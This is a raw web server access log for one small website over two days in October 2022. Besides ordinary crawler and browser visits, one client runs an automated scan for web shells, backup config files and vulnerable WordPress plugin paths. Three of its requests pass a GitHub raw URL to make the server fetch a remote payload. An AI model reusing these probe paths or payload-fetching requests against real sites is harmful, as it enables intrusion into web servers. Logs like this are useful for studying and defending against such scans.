36.40.66.38 - - [14/Oct/2022:19:59:24 -0700] "GET / HTTP/1.1" 200 307 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" "iba72.com"
51.222.253.10 - - [14/Oct/2022:20:01:02 -0700] "GET /robots.txt HTTP/1.1" 200 208 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" "www.iba72.com"
51.222.253.16 - - [14/Oct/2022:20:01:03 -0700] "GET / HTTP/1.1" 200 307 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" "www.iba72.com"
35.162.86.161 - - [14/Oct/2022:20:05:05 -0700] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 200 307 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" "iba72.com"
35.162.86.161 - - [14/Oct/2022:20:05:09 -0700] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 200 307 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" "iba72.com"
157.55.39.215 - - [14/Oct/2022:20:59:07 -0700] "GET / HTTP/1.1" 200 307 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/103.0.5060.134 Safari/537.36" "iba72.com"
54.36.148.35 - - [14/Oct/2022:23:13:47 -0700] "GET /robots.txt HTTP/1.1" 200 208 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" "iba72.com"
51.222.253.11 - - [14/Oct/2022:23:13:48 -0700] "GET / HTTP/1.1" 200 307 "-" "Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)" "iba72.com"
216.24.212.28 - - [14/Oct/2022:23:14:00 -0700] "GET / HTTP/1.1" 200 307 "http://iba72.com/" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" "iba72.com"
119.28.191.137 - - [15/Oct/2022:04:15:34 -0700] "GET / HTTP/1.1" 200 307 "http://iba72.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:53:16 -0700] "GET /style.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:53:18 -0700] "GET /moduless.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:53:29 -0700] "GET /wp-content/plugins/t_file_wp/t_file_wp.php?test=hello HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:53:31 -0700] "GET /admin.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:53:42 -0700] "GET /index.php?3x=3x HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:53:44 -0700] "GET /boom.php?x HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:53:46 -0700] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:53:48 -0700] "GET /wp-content/db_cache.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:53:56 -0700] "GET /xmlrp.php?url=https://raw.githubusercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:01 -0700] "GET /larva.php?idb=https://raw.githubusercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:06 -0700] "GET /th3_err0r.php?php=https://raw.githubusercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:08 -0700] "GET /alfindex.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:09 -0700] "GET /alfa.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:11 -0700] "GET /wp-booking.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:13 -0700] "GET /cindex.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:15 -0700] "GET /wp-content/wp-1ogin_bak.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:17 -0700] "GET /wp-1ogin_bak.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:21 -0700] "GET /wp-includes/fonts/css.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:23 -0700] "GET /wp-includes/css/css.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:30 -0700] "GET /old-index.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:30 -0700] "GET /config.bak.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:32 -0700] "GET /wp-admin/config.bak.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:32 -0700] "GET /wp-content/config.bak.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:34 -0700] "GET /wp-includes/config.bak.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:36 -0700] "GET /wp-content/themes/config.bak.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:37 -0700] "GET /wp-content/plugins/config.bak.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:42 -0700] "POST /wp-includes/css/wp-config.php HTTP/1.1" 404 88 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:44 -0700] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:45 -0700] "GET /wp-includes/wpconfig.bak.php?act=sf HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:47 -0700] "GET /wp-content/plugins/wpconfig.bak.php?act=sf HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:54:51 -0700] "GET /haders.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:55:03 -0700] "GET /wp-content/wp-old-index.php?action=login&pass=-1&submit= HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:55:08 -0700] "GET /legion.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:55:10 -0700] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:55:14 -0700] "GET /wp-includes/lfx.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:55:15 -0700] "GET /wp-includes/small.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:55:26 -0700] "GET /up.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:55:29 -0700] "GET /upload.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:55:31 -0700] "GET /config.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:55:33 -0700] "GET /test.php?Ghost=send HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:55:36 -0700] "GET /wp-content/langar.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:55:41 -0700] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:55:43 -0700] "GET /wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
168.119.120.9 - - [15/Oct/2022:09:55:44 -0700] "GET /wp-content/plugins/wpdiscuz/themes/default/style-rtl.css HTTP/1.1" 200 307 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "iba72.com"
207.46.13.229 - - [15/Oct/2022:15:01:52 -0700] "GET /robots.txt HTTP/1.1" 200 208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/103.0.5060.134 Safari/537.36" "iba72.com"
207.46.13.229 - - [15/Oct/2022:15:01:52 -0700] "GET /robots.txt HTTP/1.1" 200 208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/103.0.5060.134 Safari/537.36" "iba72.com"
157.55.39.215 - - [15/Oct/2022:15:02:00 -0700] "GET / HTTP/1.1" 200 307 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" "iba72.com"
35.90.80.139 - - [15/Oct/2022:16:00:30 -0700] "GET / HTTP/1.1" 200 307 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" "iba72.com"
52.89.70.169 - - [15/Oct/2022:16:00:45 -0700] "GET /favicon.ico HTTP/1.1" 404 88 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" "iba72.com"
52.89.70.169 - - [15/Oct/2022:16:00:45 -0700] "GET / HTTP/1.1" 200 307 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" "iba72.com"
